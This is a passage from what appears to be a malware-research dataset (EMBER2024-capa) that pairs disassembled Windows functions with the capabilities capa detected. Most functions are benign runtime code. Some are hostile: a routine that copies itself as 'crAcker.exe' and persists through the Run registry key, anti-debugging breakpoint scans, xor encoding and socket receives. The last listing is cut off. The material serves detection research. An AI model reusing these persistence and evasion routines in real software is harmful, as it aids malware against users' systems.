joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cd9f0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
push edi
push ebx
push ebp
sub esp, 0x324
mov eax, dword [0x543b10]
mov edx, dword [esp + 0x344]
xor eax, esp
mov dword [esp + 0x320], eax
test edx, edx
je 0x4cda19
mov dword [edx], 0
lea eax, [esp]
push 0x1c
push eax
push dword [esp + 0x340]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edi, dword [esp + 0x33c]
test eax, eax
jne 0x4cda62
xor eax, eax
mov byte [edi], al
mov ecx, dword [esp + 0x320]
mov dword [esp + 0x320], eax
xor ecx, esp
cmp ecx, dword [0x543b10]
jne 0x4cdafc
add esp, 0x324
pop ebp
pop ebx
pop edi
pop esi
ret
lea esi, [esp + 0x21c]
push 0x104
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4cdaa4
xor eax, eax
mov byte [edi], al
mov ecx, dword [esp + 0x320]
mov dword [esp + 0x320], eax
xor ecx, esp
cmp ecx, dword [0x543b10]
jne 0x4cdafc
add esp, 0x324
pop ebp
pop ebx
pop edi
pop esi
ret
xor eax, eax
lea ebx, [esp + 0x1c]
lea ebp, [esp + 0x11c]
push ebx
push ebp
push eax
push eax
push esi
call fcn.004e4b12
mov esi, dword [esp + 0x354]
push esi
push ebp
push edi
call fcn.004dbae0
push esi
push ebx
push edi
call fcn.004e45a0
add esp, 0x2c
mov ecx, dword [esp + 0x320]
mov dword [esp + 0x320], 0
xor ecx, esp
cmp ecx, dword [0x543b10]
jne 0x4cdafc
add esp, 0x324
pop ebp
pop ebx
pop edi
pop esi
ret
call fcn.004cf95b
nop
lea esi, [esi]
lea edi, [edi]
Function at 0x4cfe95
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4cfed4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4cfed4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4cfed4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4cfed4
cmp dword [ecx + 0x74], 0xe
jbe 0x4cfed4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4e5971
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x524438
push 0x524430
push str.FlsAlloc
push 0x1e
call fcn.004e57b2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e59a5
push dword [ebp + 8]
mov ecx, esi
call dword [0x4f71b8]
call esi
jmp 0x4e59ab
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4e59ef
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x524448
push 0x524440
push str.FlsGetValue
push 0x20
call fcn.004e57b2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e5a26
push dword [ebp + 8]
mov ecx, esi
call dword [0x4f71b8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4e6428
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e63aa

Function at 0x4e8df9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x2e00920]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4e8e39
cmp byte [ebx], 0xa
jne 0x4e8e39
or byte [eax + edi + 0x28], 4
jmp 0x4e8e3e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4e8f3c
mov al, byte [edx]
cmp al, 0x1a
je 0x4e8f1e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4e8e6d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4e8e92
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4e8e9c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4e8e4f
jmp 0x4e8f3c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4e8f19
cmp dword [ebp - 0xc], 0
je 0x4e8f19
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x2e00920]
test byte [eax + edi + 0x28], 0x48
je 0x4e8ef3
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4e8ede
mov byte [esi], dl
jmp 0x4e8eef
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x2e00920]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4e8f3c
cmp byte [ebp - 1], 0xa
jne 0x4e8f02
cmp esi, ebx
jne 0x4e8f02
mov byte [esi], 0xa
jmp 0x4e8f3b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004e8bf2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4e8f3c
mov byte [esi], 0xd
jmp 0x4e8f3b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x2e00920]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4e8f38
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4e8f3c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4e8f45
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x2e00920]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4e8f88
cmp word [esi], dx
jne 0x4e8f88
or byte [edi + eax + 0x28], 4
jmp 0x4e8f8d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4e90e0
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4e90c0
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4e8fcf
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4e9005
cmp eax, edx
jae 0x4e9011
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4e8fa7
jmp 0x4e90e0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4e90bc
cmp dword [ebp - 0x14], 0
je 0x4e90bc
mov eax, dword [ebx*4 + 0x2e00920]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4e9094
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4e905d
mov word [esi], cx
jmp 0x4e9090
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x2e00920]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x2e00920]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x2e00920]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4e90e0
pop ebx
cmp word [ebp - 4], bx
jne 0x4e90a5
cmp esi, dword [ebp + 0xc]
jne 0x4e90a5
mov word [esi], bx
jmp 0x4e90dd
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004e8bf2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4e90e0
push 0xd
jmp 0x4e90d9
mov ecx, dword [ebx*4 + 0x2e00920]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4e90d7
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4e90e0
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4eac5c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4eacf9
push ebx
push esi
call fcn.004eac25
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004e8952
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4eaca6
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4eacf8
push edi
push eax
call fcn.004e4e83
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4eacc6
call fcn.004e55f7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4eacf7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004e8952
add esp, 0x20
test eax, eax
jne 0x4eace5
push edi
call fcn.004e55f7
jmp 0x4eaced
push ebx
call fcn.004e55f7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4ef645
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ef5c1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4ef7bd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4ef7bd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4ef76c
jg 0x4ef69e
test eax, eax
je 0x4ef762
push 1
push 0x1000
call fcn.004e559a
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4ef6c4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4ef759
push 0x8000
push ebx
call fcn.004e3e19
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4ef6f0
jg 0x4ef6eb
cmp ecx, 0x1000
jb 0x4ef6f0
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004dd1e3
add esp, 0x10
cmp eax, 0xffffffff
je 0x4ef735
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4ef6eb
jl 0x4ef71c
test ecx, ecx
jne 0x4ef6dd
push dword [ebp - 0xc]
push ebx
call fcn.004e3e19
push esi
call fcn.004e55f7
add esp, 0xc
xor edi, edi
jmp 0x4ef7ce
cmp byte [edi + 0x24], 0
je 0x4ef74c
cmp dword [edi + 0x20], 5
jne 0x4ef74c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4ef757
mov edi, dword [edi + 0x18]
jmp 0x4ef759
xor edi, edi
push esi
call fcn.004e55f7
pop ecx
jmp 0x4ef7ce
test ecx, ecx
jg 0x4ef72e
jl 0x4ef76c
test eax, eax
jae 0x4ef72e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004e8bf2
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4ef78f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4ef72e
jmp 0x4ef7c6
push ebx
call fcn.004e280b
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4ef72e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x4ef7ce
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4ef7cb
mov edi, dword [edi + 0x18]
jmp 0x4ef7ce
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004e8bf2
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4f0270
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4f029d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4f029d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4f0743
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x543b10]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x58], edi
test edi, edi
jle 0x4f07d8
push esi
mov esi, dword [ebx + 4]
mov ecx, esi
shr ecx, 0xb
and ecx, 7
push 3
add ecx, ecx
pop edx
shl edx, cl
mov eax, edx
not eax
and eax, dword [ebx + 8]
or eax, edx
mov dword [ebx + 8], eax
lea eax, [esi + 0x800]
xor eax, esi
and eax, 0x3800
xor eax, esi
mov dword [ebx + 4], eax
sub edi, 1
jne 0x4f0765
imul edi, dword [ebp - 0x58], 0xa
lea esi, [ebx + 0x1c]
lea eax, [ebp - 0x54]
push edi
push esi
push eax
call fcn.004d1b40
imul eax, dword [ebp - 0x58], 0xa
push 0x50
pop ecx
sub ecx, eax
lea eax, [ebx + 0x1c]
push ecx
add eax, edi
push eax
push esi
call fcn.004d1b40
push edi
lea eax, [ebp - 0x54]
sub ebx, edi
push eax
add ebx, 0x6c
push ebx
call fcn.004d1b40
add esp, 0x24
pop esi
jmp 0x4f0817
jns 0x4f0817
mov ecx, dword [ebx + 4]
shr ecx, 0xb
dec ecx
shl ecx, 0xb
xor ecx, dword [ebx + 4]
and ecx, 0x3800
xor ecx, dword [ebx + 4]
mov dword [ebx + 4], ecx
shr ecx, 0xb
push 3
and ecx, 7
pop eax
add ecx, ecx
shl eax, cl
not eax
and dword [ebx + 8], eax
lea eax, [ebx + 0x1c]
push 0x46
push eax
lea eax, [ebx + 0x26]
push eax
call fcn.004d1b40
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004cf95b
leave
ret
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call fcn.00401db0
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._5
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60
Function at 0x4015b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401623
cmp eax, 2
jne 0x401609
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x4015e6
mov eax, 4
jmp 0x401623
cmp eax, 5
jne 0x401602
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4015f5
jmp 0x401623
xor eax, eax
cmp ecx, 1
setne al
add eax, 6
jmp 0x401623
mov eax, 8
jmp 0x401623
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x401618
mov eax, 1
jmp 0x401623
xor eax, eax
cmp ecx, 0xa
setne al
add eax, 2
test eax, eax
mov byte [0x423c36], al
je 0x40163f
cmp eax, 1
je 0x40163f
cmp eax, 4
je 0x40163f
xor eax, eax
add esp, 0x94
ret
mov eax, 0x1a0
add esp, 0x94
ret

Function at 0x401a10
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x401a41
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x423798], eax
ret

Function at 0x401a50
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push 0
push eax
mov eax, dword [esp + 0xc]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x10]
test eax, eax
mov dword [ecx], eax
jne 0x401a81
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x423798], eax
ret

Function at 0x401a90
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 8]
cmp eax, 0xffffffff
mov dword [ecx], eax
jne 0x401abe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esp + 0xc]
mov dword [0x423798], eax
mov dword [edx], 0
ret
mov eax, dword [esp + 0xc]
mov dword [eax], 1
ret

Function at 0x401d30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x409590
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [esp + 0x34]
mov ebx, dword [esp + 0x10]
mov eax, fcn.0040d4b0
mov dword [0x42a160], 0x417690
mov dword [0x42a11c], eax
mov dword [0x42a198], eax
mov dword [esi + 0x1e07], 0x4176b0
mov ecx, dword [0x42a11c]
mov eax, ecx
xor edx, edx
div ebx
push 0x42a0fc
push 0x40
sub ecx, edx
xor edx, edx
mov edi, ecx
mov ecx, ebx
add ecx, 0x4192e0
mov dword [0x42a11c], edi
inc ecx
mov eax, ecx
div ebx
sub ecx, edx
sub ecx, edi
push ecx
push edi
mov dword [0x42a1bc], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x409626
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x1748], eax
mov eax, 0x1ed
pop edi
pop esi
pop ebx
add esp, 0x24
ret
xor eax, eax
mov ecx, dword [esi + 0x1e07]
cmp byte [eax + ecx], 0xc3
je 0x40963a
inc eax
cmp eax, 0x64
jb 0x409628
cmp eax, 0x64
jne 0x40964b
mov eax, 0x1f3
pop edi
pop esi
pop ebx
add esp, 0x24
ret
mov edx, dword [esi + 0x1e07]
inc eax
add edx, eax
mov dword [esi + 0x1e07], edx
mov eax, edx
mov edx, 0x4192e0
sub edx, eax
inc edx
xor eax, eax
mov dword [esi + 0x1e0b], edx
mov ecx, dword [0x42a198]
cmp dword [eax + ecx], 0x9bd7edd9
je 0x409681
inc eax
cmp eax, 0x64
jb 0x409672
cmp eax, 0x64
jne 0x409692
mov eax, 0x1f4
pop edi
pop esi
pop ebx
add esp, 0x24
ret
jae 0x4096a0
cmp byte [eax + ecx], 0xcc
je 0x4096a0
inc eax
cmp eax, 0x64
jb 0x409694
cmp eax, 0x64
jne 0x4096b1
mov eax, 0x1f4
pop edi
pop esi
pop ebx
add esp, 0x24
ret
lea eax, [ecx + eax + 1]
pop edi
mov dword [0x42a198], eax
pop esi
mov byte [0x42a150], 0
xor eax, eax
pop ebx
add esp, 0x24
ret

Function at 0x409700
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x42a198]
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, esi
push edi
sub ebx, eax
xor ecx, ecx
mov eax, ebx
xor edx, edx
mov edi, 0xeb
div edi
mov al, bl
xor al, 0x5a
mov dl, byte [edx + 0x422530]
add dl, al
mov al, byte [ecx + esi]
xor al, dl
inc ebx
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0x14
jl 0x409712
pop edi
pop esi
pop ebx
ret

Function at 0x40b910
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, dword [esp + 0x18]
test esi, esi
push edi
je 0x40b920
mov dword [esi], 0
mov edi, dword [esp + 0x18]
test edi, edi
je 0x40b987
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push edi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x40b950
mov edx, dword [esp + 0xc]
mov dword [edx + 0x1748], 0x22c
pop edi
pop esi
ret
cmp eax, 0xffffffff
jne 0x40b96a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, dword [esp + 0xc]
mov dword [ecx + 0x1748], eax
xor eax, eax
pop edi
pop esi
ret
test esi, esi
je 0x40b970
mov dword [esi], eax
cmp eax, edi
je 0x40b987
mov edx, dword [esp + 0xc]
xor eax, eax
mov dword [edx + 0x1748], 0x22d
pop edi
pop esi
ret
pop edi
mov eax, 1
pop esi
ret
Function at 0x40c100
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x38
push ebx
mov ebx, dword [esp + 0x40]
push esi
push edi
push 0x3a
push ebx
mov dword [esp + 0x14], 0
call fcn.00419d40
add esp, 8
test eax, eax
jne 0x40c128
pop edi
pop esi
pop ebx
add esp, 0x38
ret
push 0x3a
push ebx
call fcn.00419d40
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x3a
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00419d40
mov byte [eax], 0
mov edx, dword [0x42a140]
add esp, 8
test edx, edx
je 0x40c1ad
mov eax, dword [0x42a120]
test eax, eax
je 0x40c1ad
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
lea eax, [esp + 0x24]
push ecx
push eax
push 0
push ebx
mov dword [esp + 0x38], 2
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 6
call edx
jmp 0x40c1b0
or eax, 0xffffffff
test eax, eax
jne 0x40c1f5
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x40c1f5
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
call dword [0x42a120]
jmp 0x40c240
cmp eax, 0x2af9
je 0x40c201
mov dword [0x423798], eax
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40c213
pop edi
pop esi
pop ebx
add esp, 0x38
ret
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
